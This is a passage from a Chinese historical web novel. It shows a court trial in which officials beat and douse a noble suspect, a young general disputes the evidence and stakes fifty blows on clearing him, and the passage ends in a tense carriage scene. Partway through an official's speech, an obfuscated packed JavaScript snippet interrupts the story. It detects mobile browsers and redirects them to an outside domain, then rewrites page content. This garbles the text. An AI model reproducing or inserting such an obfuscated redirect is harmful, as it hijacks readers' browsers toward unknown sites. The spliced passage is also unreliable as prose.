蒋礼的四肢剧烈地挣扎,他的双腿不停地向后蹬踏,他无数次想要奋力逃脱小吏们的束缚,可到头来,也只是徒劳。 蒋礼执拗地抬起头,他的脸蛋又被小吏们粗鲁地摁在满是灰尘的青砖上,细嫩的脸颊被摩擦出一道道血痕,他的泪水与尘土混杂在一起,模糊了他的视线,他不可置信地瞪大眼睛,眼球几乎要夺眶而出,眼中满是不忿与悲恨。 “不,你们不能打我!”蒋礼的发冠早已在剧烈的挣扎中散落,一头长发宛如杂草般披散在肩头,他疯狂地摇头,就像一个得了癔症的疯子,凄厉地哀嚎着,“我爹是鲷州刺史,皇后是我的姨母,你们怎敢随意对皇亲国戚擅自用刑!?你们是以下犯上、是藐视皇权!!!” 蒋礼刚挣脱开一个小吏的束缚,便会有更多的小吏迅速地补扑上来,他们的双手或抓或按,牢牢将蒋礼重新按回地面。 就这样,在数个小吏的合力下,蒋礼被拖拽至中殿外,堂前的石砖上满是蒋礼留下的血迹。 宋旌坐在旁听席上,他能听见仅一墙之隔的蒋礼在杀威棍下哀叫连连,不过那声音很快就变得极其微弱,直至没了声息。 大约过了半盏茶的功夫,一个小吏急匆匆地跑进来,他的脚步声在寂静的公堂中显得格外刺耳。 小吏跪地抱拳,神色紧张,向堂上那两位怡然自得的主官,如实禀报道:“启禀两位郎君,那蒋公子才挨了十几个板子就晕了过去,现下该如何处置?” 那何御史慢悠悠地端起茶杯,在打开杯盖,浅啜一口茶水后,又突然重重合上,手中发出“啪”的一声脆响。 “哼,这就晕了?”何御史不屑地嗤笑一声,漠然置之道:“那就拖上来,用水将他浇醒为止。” 那小吏得了何御史的吩咐,连忙点头哈腰,连声应诺,一边躬起身子,一边小心翼翼地倒退出房外。 宋旌透过窗户,看向屋外。 那传话的小吏步履如飞,走向那些待命的同伴,神色严肃地吩咐了几句。 随即,便有几个小吏应声而动,他们匆匆跑向角落里的水桶,拎起几个,便往井边奔去。 不一会儿,那被打得奄奄一息、几乎没有生气的蒋礼又被两个小吏一路粗暴地拖上堂来。 蒋礼的身体软绵绵的,像是一块没有骨头的肉,四肢无力地垂下,被小吏们随意地提在手中。 宋旌远远看着,心中不仅感慨,虽然那些小吏声称只打了十几个板子,但是从蒋礼衣衫上渗出的血迹来看,他的脊背与大腿恐怕早已皮开肉绽,那些小吏可一点儿没有手软,他们下手之狠,可见一斑。 蒋礼被小吏们像丢弃一块破布般,狠狠地扔在公堂中央,发出一声沉闷而痛苦的呻吟。紧接着,一个小吏提了满桶刚从井里打上来的冰水,毫不留情,一桶泼在蒋礼的面门上,那冰冷刺骨的水瞬间将蒋礼浇了个透心凉,他的身体猛地一颤,仿佛被人扔进了冰窖中。 小吏们面无表情,好像只是在执行一项再平常不过的任务,他们一桶接一桶地从井里提出冰水。 那水如瀑布般劈头盖脸地倾泻在蒋礼的身上,带着刺骨的寒意,将他的全身浇透。 又湿又重的衣服紧裹着蒋礼那满是伤痕的身躯,蒋礼的头发被冰冷的井水冲得乱七八糟,像一根根海草般粘在他的脸上,让他显得狼狈不堪,一点儿也瞧不出往日作为一个贵公子时的风度。 终于,在寒冷的刺激下,嘴唇冻得发紫的蒋礼猛喘出一口粗气,身体不由自主地颤动数下,突然咳嗽得面红耳赤,眼泪与鼻涕在脸上混杂,呛出许多在肺部淤积的水,喷溅在湿漉漉的地砖上,发出“啪嗒啪嗒”的声响,好似刚从窒息中挣脱出来一般。 蒋礼刚捡回来一条命,脸色苍白,虚弱地趴在地上,眼神变得呆滞而迷茫,彻底没了刚才的嚣张气焰。 “蒋公子,”何御史端着一个冒着热气的茶杯,手摇一把折扇,慢条斯理地蹲在蒋礼的身边,笑容中既带有几分戏谑与轻蔑,又藏着几分狡黠与阴狠,何御史‘贴心’地替蒋礼轻轻扇着风,装出一副关心的模样,向蒋礼苦口婆心地劝道:“你看你身娇肉贵的,哪里挨过这么重的板子?现在只要你肯交代出你是如何杀死魏子谦的,再帮罗公与何某写上几个字,我就替你免了剩下那些板子,你觉得如何?” 说着,那何御史还用折扇轻拍了拍蒋礼那满是伤痕的背,仿佛是在提醒他不要敬酒不吃吃罚酒。 眼下,蒋礼虽然虚弱至极,但他的理智还没有被完全击垮,他明白自己绝不能轻易认罪画押,否则就算是他爹赶到盛京,也无济于事,再不能救他。 蒋礼努力睁大眼睛,试图看清公堂上的情形,可他的虹膜上糊着一层水,视线变得朦胧不明。 “我……” “我没有杀死魏子谦……” 蒋礼已提不起一点儿力气,他倔强地抻长脖子,在“嗡嗡”不止的耳鸣声中,用尽最后一丝力气去反驳。 堂上的气氛紧绷到了极点,仿佛是一根绷紧的弦,随时都会断裂。 此时,所有人的目光都聚集在蒋礼与何御史的身上,屋子里弥散开一股令人无法喘息的压抑与紧张。 不过,就在这紧要关头,当宋旌也忍不住心急如焚时,同坐在旁听席上,正闭目假寐的柳悬却忽然发生一声轻笑,那不合时宜的笑声在宋旌的心里泛起一圈涟漪 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方才,当物证被呈上堂时,宋旌心中焦急万分,却又束手无策。他眼睁睁地看着那些证据与证词,将蒋礼一步步推向罪恶的深渊。 按照目前的形势来看,蒋礼似乎就是唯一有可能杀害魏凡的凶手。 可是如果蒋礼无法洗脱凶手的罪名,那么蒋聪与太子间的恩怨就算是结下了。 更何况,顾驰为了粉饰自己那所谓的大公无私,竟在公堂之上肆无忌惮地祭出那番刻薄的“污点论”,这一番责骂,表面上看是顾驰痛恨蒋礼的堕落,实则却是顾驰一记响亮的耳光,狠狠地扇在蒋聪的脸上,当着众京官的面,公然嘲讽他蒋聪教子无方,其子为蒋家之耻! 宋旌仍清楚记得,自蒋礼离世后,直至顾邕起兵造反的那段时日,蒋聪家中再未添丁,府上夫人也未曾再育。 由此可见,蒋礼一事,对蒋聪而言,无疑是一击重创,他对太子一党心生寒意,也是人之常情。 只是,蒋礼一死,是不是意味着顾邕数年后依旧还有突破槐地防线的机会?他宋旌能有多少把握提前扳倒顾邕?又能不能堵住槐地的缺口?就连宋旌自己也毫无把握。 再看蒋礼,宋旌是恨铁不成钢,他想保住蒋礼的性命,可在公堂之上,所有的线索串在一起,铁证如山,都指向蒋礼,他又有什么办法能让蒋礼起死回生? “闻双雀争巢,枝折花落,岂不好笑?” 在宋旌的注视下,柳悬那双满是戏谑的眼眸轻轻掠过公堂上的众人,他的嘴角勾起一抹玩味十足的笑意,笑声细微而诡谲,唯有紧邻的宋旌才能敏锐捕捉到那一抹不易察觉的笑声。 柳悬的眉梢一挑,像是一只慵懒闲散的仙鹤,他的手指沿着茶杯那光滑的边缘缓缓摩挲,本想轻抿一口茶水,好润一润干涸的嗓子。 可是,当柳悬端起茶杯时,他又猛然顿住了。 宋旌只见柳悬眉心微蹙,对这大理寺呈上的官茶,是一口未尝,显然并不买账。 柳悬实在喝不惯这朝堂上的茶,那茶太苦太涩,若是喝一口,满嘴都是陈年累积的腐朽气与血腥味儿,直令人心中作呕。 “有时候,”柳悬徐徐放下茶杯,与宋旌平静对视,宋旌想帮蒋礼的心思实在是过于直白,在柳悬的眼皮子底下是怎么藏也藏不住,柳悬附身于宋旌的耳侧,宛如自言自语一般,轻声说道:“这大理寺查案,果真是耳闻不如一见,人言可畏呀。” 柳悬在与宋旌耳语时,刻意将“耳闻不如一见”与“人言可畏”这几个字咬重了几分,像是意有所指。 宋旌先是一怔,显然不能理解柳悬的弦外之音,他一脸茫然,望向柳悬,一副呆呆傻傻的模样,活像一只矮胖矮胖的猫头鹰崽子,摇头晃脑,好不可爱。 宋旌直盯着柳悬,像是要从柳悬的脸上找出一丝线索来。 “直接用刑吧。”公堂之上,何御史的声音不带有一丝温度。 他已彻底放弃与冥顽不灵的蒋礼继续周旋,面容冷峻,“啪”的一下,果断收起手中折扇,起身,向后退去几步,与蒋礼拉开一段距离。 罗少卿坐在一旁,神色复杂,他仿佛在观看一场与他八竿子打不着的闹剧,他不会从中阻拦,也不会涉身其中,他只需确保圣上在审阅蒋礼的卷宗之前,蒋礼的性命得以保全就行。 至于,那庭审过程中,蒋礼会经受怎样的皮肉之苦…… 他蒋礼进了大理寺以后,这事与他罗少卿一人又有何干系? 堂上的氛围变得紧张而凝重,小吏们得了吩咐,立马行动起来,他们迅速、有序地从角落里拿出那些令人望而生畏的刑具: 拶子、竹篦、夹棍、杠子……他们将这些刑具纷纷摆在最显眼的位置。 宋旌坐在旁听席上,冷眼瞧着那几个小吏粗鲁地拖拽着一心想要往外爬的蒋礼,像是在拖拽一只待宰的牲畜一般,掐着蒋礼那纤细的脖颈,将面色死白的蒋礼,强行摁在地面上,往蒋礼的腿上套着生硬的夹棍。 “罗少卿,这般酷刑,与屈打成招又有何异?”宋旌的声音清亮而坚定,瞬间打破了堂上的沉寂。 众人闻声,纷纷侧目,目光不约而同地聚焦于一处,望向一个意想不到的人,以一种别开生面的方式,骤然闯入公堂,好不招摇。 宋旌没有理会周围那些不停打量他的目光,他径直绕过前方那一排端坐着、啥也不干的参审官,神情肃然,步伐坚定,走上前去。 宋旌朝诸位官员一一行了礼,将目光落在何御史的身上,他不矜不伐,唤了声:“何御史。” 何御史放下茶杯,单手负于身后,面露不耐,对宋旌的突然打断颇为不满。 27.推论 不过,何御史还是压下脾气,冷声,言辞犀利,反问道:“宋小将军何出此言?如今人证物证俱在,那血衣与刻刀便是蒋公子杀害魏公子的物证,而魏公子院里的数名家仆与蒋公子身边的婢女皆是人证。” “而今,不过是那蒋公子不肯供认罪行罢了,朗朗乾坤之下,吾当着诸位朝廷命官的面,对那蒋公子依律审讯,又何来屈打成招一说?”那何御史气势汹汹地一挥袖子,双手背负于身后,横眉竖眼,静待宋旌的回应。 “何御史此言差矣。” 宋旌并未直接回答,而是缓缓向前迈出几步。 宋旌的脚步沉稳,每一步都像是踏在蒋礼的心弦之上。 蒋礼循声望去,只见宋旌站在斑驳的阴影下,门外的阳光像是细碎金箔,倾洒在宋旌的发顶与双肩,将宋旌衬托得宛如天神下凡一样。 “且不论蒋公子杀害魏公子的缘由尚且朦胧未明,单说那人证中,又有几人曾亲眼目睹蒋公子刺杀魏公子的情景?” 宋旌微微一笑,声音铿锵有力,他站得笔直,双眼宛若夜空中的寒星,星芒直逼向公堂前的何御史,仿佛要穿透浓浓雾瘴,直达案件真相一般。 何御史收回视线,目光闪烁,似是尚未仔细思考过这个问题,也无心去琢磨案件中的各个环节是否还有疏漏。 在整个中殿陷入一片死寂,众人只能听得微风穿过窗外树梢的呼啸声与满屋交织的吞咽声时,一直埋首于案前,执笔记录的王寺丞忽然抬起头。 王寺丞停下笔,捋了捋他那一撮花白的胡须,笑着插话道:“宋小将军有所不知,那魏公子的侍郎含光与数名家丁的证词一致,皆指出了蒋公子与魏公子独处一夜的事实。昨夜,既无第三人在场侍奉,如此情形,若非蒋公子所为,试问又有谁能悄无声息地杀害魏公子?” 王寺丞边说边满意地点点头,他的眼底闪过一抹精光,自认为自己这番推论可谓是环环相扣。 不过,宋旌却不为所动,他等的正是王寺丞这一番看似无懈可击的说辞。 宋旌紧锁住王寺丞脸上的每一个细微表情,快步上前,靴底与大理石铺就的地面碰撞,发出坚定有力的“嗒嗒”声,好似每一步都踏在了真相的节点上。 宋旌止步于王寺丞的案前,身形宛如一只猎食的猛虎,他的身影将瘦小干瘪的小老头完全笼罩在身下的阴影中。 当宋旌的声音在王寺丞的头顶再度响起时,他那低沉的声音中隐藏着一抹难以抑制的激动,仿佛他已经触碰到了问题的关键之处:“那些侍从,可曾真的于窗外窥见蒋公子将刻刀狠狠刺入魏公子的前胸?” 此言一出,众人的目光又齐刷刷地投向身形微颤的王寺丞,将他推至无处可藏的风口浪尖上。 那王寺丞原本只是事后草率地翻阅过范法曹递交上来的审讯笔录,他既未曾亲临现场勘查,也未曾亲自审问过任何一个证人。 此刻,被宋旌那威严的目光赤.裸.裸.地凝望着,王寺丞也愣住了,他的慌乱被无限放大,暴露在众人的眼前。 被宋旌一语击中要害后,王寺丞的脸上显露出焦急与不安,额头上的汗珠也开始密密麻麻地渗出。 他急忙去翻那一沓厚厚的笔录,视线在字里行间游走,手指在一张张纸页间疯狂地挪动,发出“哗哗哗”的声响。 当王寺丞一目十行,细细扫过那些证词以后,他的脸色越发阴沉,犹如被一层厚重的乌云所笼罩,他没能找到一个能让他挽回颜面的证据。 王寺丞的手指高悬在起褶的纸页上,微微颤抖,整个人仿佛被寒冬的冽风给冰冻住了一般,定格在原地。 王寺丞沉默了一会儿,他慢慢放下手中的卷宗,停下翻动的动作,无奈地叹了一口气,嗓音中带着几分颓然与遗憾,像是力不从心般,从心底勉强挤出一丝力气,颤颤巍巍地回道:“那倒是……未曾亲眼目睹。” “可是!”王寺丞心有不甘,他虽无人证可以证明蒋礼手刃了魏凡,但他还有诸多指向蒋礼的物证,况且他一个纵横官场数十年的朝廷命官又岂能在宋旌这个毛头小子面前露怯,于是,尽管他心底仍有一丝忐忑,但他还是瞬间调整好心态,接着反问道:“那蒋公子的衣衫上沾染了大片的血迹,右手上同样有利器所致的伤痕,这两者岂非铁证如山?若魏公子非蒋公子手握刻刀所杀,那蒋公子意欲焚毁的血衣,以及他手中残留的伤痕又该作何解释?宋小将军总不能视而不见,妄言是魏公子自背后将刻刀刺入己身吧?” 王寺丞句句紧逼,摇头晃脑,眼中逐渐变得坚定,甚至不惜将柳悬在检验现场的论证也一同搬出来,以此讽刺宋旌在睁眼说瞎话,并作为他所述之论点的佐证。 宋旌轻笑一声,神色不变,他那一双澄澈的眸子仿佛能直视人心,直直刺向王寺丞的心底。 宋旌从容不迫,笑答道:“那血迹若是蒋公子于魏公子被刺伤后,才无意间沾染在衣衫上的呢?” 宋旌慢悠悠地踱步于堂前。 “蒋公子方才所言,自己服用药粉后便昏睡不醒,醒来时方知大事不妙,曾用手触碰过魏公子的尸身,直至他满手是血,方才惊觉,仓皇而逃。” 宋旌微勾唇角,目光再度看向王寺丞。 “我想斗胆请问王公,你说一个被鬼怪吓破了胆的人,会从心底忌惮一件充满晦气的血衣,胆小到连焚毁尔等所述的‘证物’都要交给一个经不住事的小丫头去做,岂不是合情合理?” 宋旌的声音抑扬顿挫,掷地有声地回荡在中殿内,令在场的每一个人都忍不住高悬起一颗紧缩的心脏。 “是的!就是这样!”蒋礼犹如一株漂泊无定的浮萍终于寻得依靠,他连忙紧紧抓住宋旌这根救命稻草,眼中满是重新点燃的感激与希望,身体微微前倾,仿佛要将宋旌说过的每一句话都牢牢记在心里。 宋旌浅笑着瞥了一眼被小吏们死死压在地上的蒋礼,眸光掠过蒋礼的右手,眸色俶尔一暗,神色莫测,缓缓说道:“至于王公所谓的刀伤嘛……” 宋旌忽然调换口吻,看似答非所问:“宋某平日倒是有个不为人知的爱好,那便是搜集民间的各种奇闻异事与志怪杂谈。” “我曾听闻坊间有这样一种说法,说是男子若是断掌,那便是阳气充盈至极,诸般鬼邪之物皆不敢近身。倘若蒋公子是出于避鬼驱邪的目的,而自行划破手掌,企图以此逆天改命,可否能诠释其手中伤痕之由来?” “又或者,假使蒋公子听信了那些游走四方的赤脚大仙所口口相传的割掌疗法,试图治愈其缠绵半月之久的失眠顽疾,此举亦算是情理之中吧……” 宋旌姿态傲然,有恃无恐,他的目光锁定在若有所思的何御史身上,如鱼得水的语气里藏有几分挑衅,明目张胆地质疑道:“那么,诸位郎君,尔等又有何确凿的凭据,能够证明蒋公子手上的伤痕,实乃其手握刻刀所致?” 罗少卿在一旁,见状,不由得将眉心挤出一个川字,思索片刻后,他才小心翼翼地发问:“这……宋小将军对此案,莫非另有高见?” 见堂上的人多少萌生出些许怀疑,宋旌抱拳行礼,态度还算谦逊,向问话的罗少卿解释道:“高见谈不上,只是宋某是得太子授意,方能旁听此案,今日闻听蒋公子连连喊冤,心中不免有所疑虑,细细分析下来,觉得此案或许另有隐情,还望两位郎君能明察秋毫,还蒋氏一个清白。” 宋旌在回话时,刻意提到“太子”与皇后背后的“蒋氏”,而非直接点名“蒋礼”,就是有意要提醒罗少卿,蒋礼的生死其实并不重要,但是罗少卿可别忘了,蒋礼的身后还有一个蒋聪,蒋聪与蒋氏一族的态度与立场才是此案的关键所在。 “明查?究竟何为明查?”何御史对宋旌的突然介入感到极为不满,原本顺利进行的审讯计划也被宋旌中途打乱,他的心中自然恼火。 此刻,何御史也听出宋旌话里有话,立场与宋旌相左的他自然不可能让宋旌轻易如愿,“而今,人证确凿,物证俱全,摆于宋小将军眼前,宋小将军却要视而不见、强词夺理,反倒口口声声,要我等再去明查?我等忙活了半日,岂不是成了个笑话?!” 何御史说着,“嘭”的一声,猛地打开手中那把折扇,用力给自己扇风,仿佛要将心中的怒火一并扇灭。 何御史扬起一抹讥笑,继续说道:“真是荒谬至极!那魏家公子已然离世,死无对证,若是不对那蒋家公子稍加惩戒,让他尝尝皮肉之苦,他怎会乖乖招供出昨夜所发生的种种?如今,既没有第三个目击者能为他作证清白,又不能对现场唯一存在的嫌犯动刑逼供,难道还要我等自行学会那通晓过去之能,去现场亲眼目睹不成?” 何御史的言辞间满是对宋旌的讥讽与蔑视,他用力挥动扇子,伴随着最后一句响彻云霄的怒吼,他将扇骨重重地击打在左手的掌心上,发出“啪嗒”一声清脆的声响。 罗少卿本就是谁也不想得罪,他既不想得罪魏鹏,所以在刑讯逼供一事上会睁一只眼闭一只眼,让蒋礼在何御史的手下稍微吃点苦头,以平息魏鹏的丧子之痛;他也不想得罪蒋聪,所以在圣上未用赤笔于蒋礼的死罪卷宗上亲自勾决前,他必然会竭尽全力保住蒋礼的性命。 “何公此言甚是中肯。”罗少卿望向宋旌与何御史,语气平和,极为老练地打起了圆场,“宋小将军既然对蒋礼的言辞深信不疑,又对大理寺的审判持有异议,那何不先拿出一些确凿的证据来,让在座的诸位能心悦诚服?这样既能澄清事实,又能避免不必要的误会与争执。” 罗少卿身处复杂的官场,巧妙周旋不过是他信手拣来的小伎俩,他说这一番话既是想给宋旌一个台阶下,又是想向何御史表明自己中立的态度。 “哼,证据?”何御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447824|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 史的宽袖一震,仿佛有风吹过,带动他那绣有飞禽的紫色衣袖翩翩起舞,语气中满是不屑,“他一个乳臭未干的黄口小儿,不过是仗着宋家百年的余荫,才混了个将军的头衔罢了。我是看在他宋尚武的面子上,才勉强称这小子一声将军,你还真当他有查案缉凶、明察秋毫的本事?” 说着,何御史愤怒地一拍桌子,那力度大得仿佛要将桌子拍碎,震得身前的茶盏微微晃动,茶水溅出些许,如细雨般洒在桌面的白纸上,将白纸染上黄斑,落下几点淡淡的茶渍。 罗少卿在一旁听得瞠目结舌,心儿怦怦直跳,仿佛被何御史那突如其来的一番激烈言辞给震得七荤八素、心惊胆战。 他瞪大眼睛,一脸茫然,心中不免暗自嘀咕:这何御史今日究竟是偷吃错了哪一味药?与宋小将军之间怎就这般剑拔弩张,脾气也大得吓人?就像是故意找茬一般,一番话不仅将宋小将军贬损得一无是处,连带着把宋家也给狠狠地怼了一顿,这究竟是有什么深仇大恨? 宋旌闻言,面色一沉,就像是晴空万里的天边突然涌来滚滚乌云,遮蔽了夜色中的漫天星辰,散发出一股令人心头一紧的沉郁之气,压得众人喘不过气来。 宋旌屹立于堂下,周身的杀伐气势陡然攀升,就像一头身经百战的猛虎,以一种泰山将倾的凌厉姿态,凛然反问道:“何御史如此轻视宋某,那宋某若是无法拿出真凭实据,岂不是要让宋家的百年清誉无故蒙羞?” 话音未落,宋旌忽然话锋一转,直逼向堂上如坐针毡的主审官:“罗少卿,宋某斗胆一问,倘若我能查明真相,证明魏子谦非蒋公子所杀,蒋公子是否能免于死罪?” 蒋礼在侧,闻言一怔,眼中闪过一抹强烈的希冀,他目光灼灼,凝望着宋旌,仿佛见到了黑暗中破晓的一线曙光。 何御史轻嗤一声,他抢在罗少卿回话之前,毫不掩饰地叫嚣道:“宋小将军真是狂悖至极!大理寺查案,岂容尔等宵小之辈肆意妄为?若小将军确有通天之能,能替那蒋公子翻案雪耻,要我等勉强容你几日亦无不可……然,小将军若只是空耗诸位同袍的心力,却终无所获,还查不到真凭实据,到那时,我等要治你个扰乱公堂、藐视王法之罪,罚你五十大板,可算得上是冤枉?” 宋旌此番,即使被何御史在明面上三番两次的挑衅,可他也没有轻易发作,反而是努力沉住气,面色如常,仿佛根本未将何御史的威胁放在心上。 虽然宋旌那肃杀的眉眼间的确瞧得见一丝戾气,但他还是耐着性子,向罗少卿再度确认道:“罗少卿,宋某只问一句,若我查出真相,蒋公子能否免于一死?” 此话一出,原本就紧张的氛围瞬间变得更为剑拔弩张。 空气中仿佛弥漫着一股浓到不能再浓的火药味,此时,只需一点火星,就能瞬间引爆全场。 罗少卿身处风暴中心,他略显尴尬地笑了笑,试图用虚伪的笑容来缓和那令人窒息的氛围:“这是自然,自古以来,皆是杀人者偿命,倘若那魏公子之死确非蒋公子之因,大理寺必会秉公执法,还蒋公子一个清白。只是……” 罗少卿沉吟片刻,斟词酌句,仿佛每说出一个字都需要鼓足勇气:“我朝律令严明,若人证、物证俱全,决死囚之期不过七日。倘若……宋小将军欲替蒋公子沉冤昭雪,恐时限不足五日。届时,尚需请诸君于公堂上逐一核对证据,确保其准备无误后,方可编纂成新的卷宗,呈送圣上裁决。宋小将军……可曾想清楚了?” 罗少卿的言辞中夹杂着一抹迟疑,他的眼神里流露出深深的顾虑,仿佛在他的心里,当庭对宋旌施以五十大板的刑罚,是他根本不敢有的念头。他满心困惑,始终无法理解何御史怎敢有此提议。因此,他在问话时,神色间既有几分试探,又满载着无尽的忧虑。 “好,一言为定!” 宋旌的回应斩钉截铁,没有丝毫的拖沓与犹豫。他抱拳行礼,身姿挺拔,仿佛查清魏凡一案,不过是信手拈来、轻而易举的一件小事,根本不足挂齿。 堂审因宋旌的出现而戛然而止,蒋礼也因此侥幸逃过了一场即将降临的惨烈刑罚。 在罗少卿宣布散堂以后,蒋礼满含期待与感激之情,声音略带哽咽,向宋旌道了一声“多谢”。 随后,蒋礼便在小吏们的押解下,匆匆离堂。 回程的路上,宋旌心里还顾忌着刚来时发生的那些事儿,又惦记着魏凡一案不知从何入手,正当他心绪不宁,本想独自骑马随行,任清风拂面,以求一丝宁静时,却不料柳悬竟罕见地,主动唤他同乘马车。 宋旌尽管仍有几分心虚,可他还是收回那即将踏上马镫的脚步,无奈转身,钻进那狭窄的车厢。 车厢内,柳悬端坐于右侧,为了防止宋旌再一次将他困在轮椅上,柳悬在回程的路上放弃了轮椅,选择了车座,以便他随时能逃脱宋旌的掌控。 28.善变 来时,天还正亮,阳光洒满大地,一切显得生机勃勃; 回时,已近黄昏,夕阳如血,染红了半边天空。 马车在夕阳的余晖中悠然前行,车厢内回荡着车轮滚动的辘辘声,远处偶尔传来的鸟鸣与风吟交织在一起,一切都显得那么宁静,偶尔有微风轻拂,顽皮地掀起车窗上的帷幔,带来一抹清凉与花香。 柳悬双眸紧闭,面容清冷沉静,宛如冬日里凝结的冰湖,深不见底,仿佛掩藏了无尽的秘密。 柳悬背靠着车厢壁板,左侧前臂轻轻搭在轮椅的扶手上,修长的手指不自觉地敲打起扶手,那沉稳而富有韵律的节奏,似是他心底思绪的泄露,又似是在安抚着车内那伺机而动的暗流。 在马车逐渐远离大理寺的喧嚣,悄然融入夜色的怀抱时,柳悬那双蓝灰色的眼眸缓缓睁开,宛若晨曦初照下的幽谷。 那双淡漠的眸子,好似承载着一整个浩瀚的星空,隐约间,有清透的蓝色星芒闪烁其间,又似静谧的夜海,有绸缎般的蓝眼泪飘浮于墨色的波涛之上,显得那浩渺无垠的海既美丽又危险,既神秘又辽阔。 仿佛他只需轻轻一瞥,就会引得万物沉沦其中,迷失方向,最终化作深渊中的一抹养料,被无边的幽冥所吞噬。 “宋公子相信蒋公子不是杀害魏子谦的凶手?”柳悬轻启朱唇,嗓音清润,夹杂着一丝慵懒,神色晦暗不明,像一只沉睡于海底百年后,悠然转醒的精怪,吐露的每一个字都极具穿透力,仿佛能轻而易举地勘破人心。 宋旌的心弦一震,连忙收回那道游离于窗外的视线,转而凝视着角落里纹丝未动的柳悬,脸上写满了茫然与不解。 柳悬静静平视着刚回神的宋旌,他轻挑眉梢,像是在等待宋旌的回应,又像是在观察他的一举一动,整个人被一层淡淡的薄雾笼罩,与周遭的黑暗融为一体,令人无法窥探其内心的思绪。 宋旌与柳悬相对而坐,他自进车厢后就一动不动地坐在左侧,穿过窗棂,将目光投向那遥远而朦胧的天际,一双眸子像是失去焦点,眉眼间只余下一抹挥之不去的忧愁。 “不确定。”宋旌未经思索,就将内心最真实的想法脱口而出:“方才,我见你以清水为墨,写下‘栖霞院’三个字,又回想起你说‘人言可畏’,便大胆猜测,那魏子谦一案或许与栖霞院闹鬼一事有异曲同工之妙,内藏乾坤。当时,我见何顺那厮咄咄逼人,意欲草草结案,我怕在场无人提出异议,此事再无转圜的余地,蒋礼必死无疑,故而无暇细想,只不断琢磨着你说的‘耳闻不如一见’,直至我突然瞧见王寺丞手中的笔录,记起那些侍从在案发时,全数忙于救火,无人亲眼目睹蒋礼行凶,这才临时抛出一番推论来驳斥何顺,实则并无真凭实据。” 宋旌轻叹一声,在说到自己也没有真凭实据的时候,后知后觉,像极了一个被薄情郎欺骗的良家女,用一双形似稚子般懵懂又无辜的眼睛,不可思议地回望向深不可测的柳悬,眼中充满了惊愕与怔愣。 宋旌不明白,难道不是柳悬有意引导他猜测凶手另有其人?为何柳悬突然又要问他是否笃信蒋礼不是凶手?莫非柳悬是想借机报复他、故意戏耍他不成? 宋旌一脸不可置信,紧盯住柳悬,眼中的一抹亮光明灭不止,他没有想到柳悬这突如其来的一问,倒是彻底将他给问懵了。 当宋旌用那种怀疑的眼神去瞧柳悬的时候,柳悬也忍不住蹙起眉心,眉眼间情不自禁地蕴蓄起一抹愠色,他不喜宋旌的脸上显露出失望的神色,更不满意宋旌的回答。 “少将军还真是侠肝义胆,既无真凭实据,也敢挺身而出,”柳悬神色一凛,忽然冷笑一声,五指悄然握住扶手前端,目光更显凌厉,轻嗤道:“柳某倒是佩服少将军的胆识,那蒋刺史虽远离盛京,但司掌船舶铸造一事,此番后,想必他定会投桃报李,以谢少将军舍命救子之恩。” 柳悬轻轻一笑,那笑声中带有几分讥讽与嗔怪,目露寒光。他想起宋旌在公堂上那肆无忌惮的模样,心中便蓦然涌起一股无名的邪火。 五十大板! 那可是大理寺的酷刑! 不是宋府内处处手下留情,一个板子下去还没有宋言章一拳头疼的小打小闹,而是旗国律令里明文记载的五刑之一。 一个板子重达五十斤,稍不留神就能当堂打死一个成年男子…… 那蒋礼不过才挨了十几个小板子就皮开肉绽,若是换作宋旌…… 柳悬连想都不敢细想。 就算他宋旌自幼习武,身体素质较常人更强,可他毕竟是肉体凡胎,哪怕他不至于因此丧命,但是伤筋动骨,要是因此而落下什么毛病…… 柳悬越想越气! 身体发肤,受之父母,不敢毁伤! 又岂容他宋旌如此轻率、儿戏? 柳悬凝眸,又见宋旌一副不开窍的憨直模样,他一时间气不过,一脚踹在宋旌的小腿上。 他心想:照宋旌那一番言论,反正迟早要挨上五十大板,被打个半身不遂,与其到那时便宜了别人,还不如趁现在,让他先狠踹几脚,一泄心头之愤! 宋旌猝不及防,被柳悬踹中,疼得他龇牙咧嘴,不由得倒吸一口凉气,只觉得小腿处传来阵阵刺痛。 宋旌抬起一双水雾朦胧的眼睛,朝柳悬可怜巴巴地望去,却只见柳悬面色阴沉得能滴出几滴墨来。 宋旌疑惑不解,心想他都还没弄明白柳悬在公堂上到底有没有骗他,柳悬的脾气怎就比他还大?好似他宋旌做了什么大逆不道的事情? 柳悬紧盯着宋旌的脸,沉默不语,眼中怒意未消,那一双清淡的眸子总算是掀起了波澜,像一条被惹急了眼的黑色巨蚺,朝宋旌吐出长长的信子,仿佛随时会扑咬上去。 宋旌心中一紧,也不肯示弱,他一把握住柳悬那只再度踹向他的脚。 “哥哥!”宋旌压抑着内心想将柳悬从车座上猛扯下来的冲动,他将本能收紧的手指悄悄松开一些,以免自己在下意识用力时误伤了柳悬,心直口快道,“哥哥是不满我替蒋礼解围?还是担心我为蒋礼受罚?” 宋旌虽然没有听明白柳悬刚才说的那一番话到底表达了几个意思,但他还是敏锐地察觉到柳悬不赞同他在堂上顶撞何顺,便猜测柳悬可能是气他不知收敛,为宋府惹了不该惹的麻烦,贸然替蒋礼说了话。 宋旌委屈巴巴地瞪着柳悬,见柳悬只是撇开脸,依然缄口不言。 宋旌默叹一声,也不再继续纠结柳悬是否有过诓骗他的心思,而是小心翼翼,一边观察起柳悬的细微变化,一边揣度起柳悬现在是何想法。 “倘若我说,”见柳悬听见宋旌提到“担心”二字时面色稍有松动,宋旌用手托住柳悬的脚,一边弯下腰,俯下身子,一边单膝跪在车厢底部的木板上,缓缓凑到柳悬跟前,向柳悬试探性解释道:“我是看不惯大理寺那一群蝇蚋徒仗势欺人,哥哥可信?” 宋旌将柳悬的靴子轻轻放在车厢的底板上,他扬起一张明媚动人的脸,朝柳悬露出一个温柔的笑,好似在安抚柳悬的情绪。 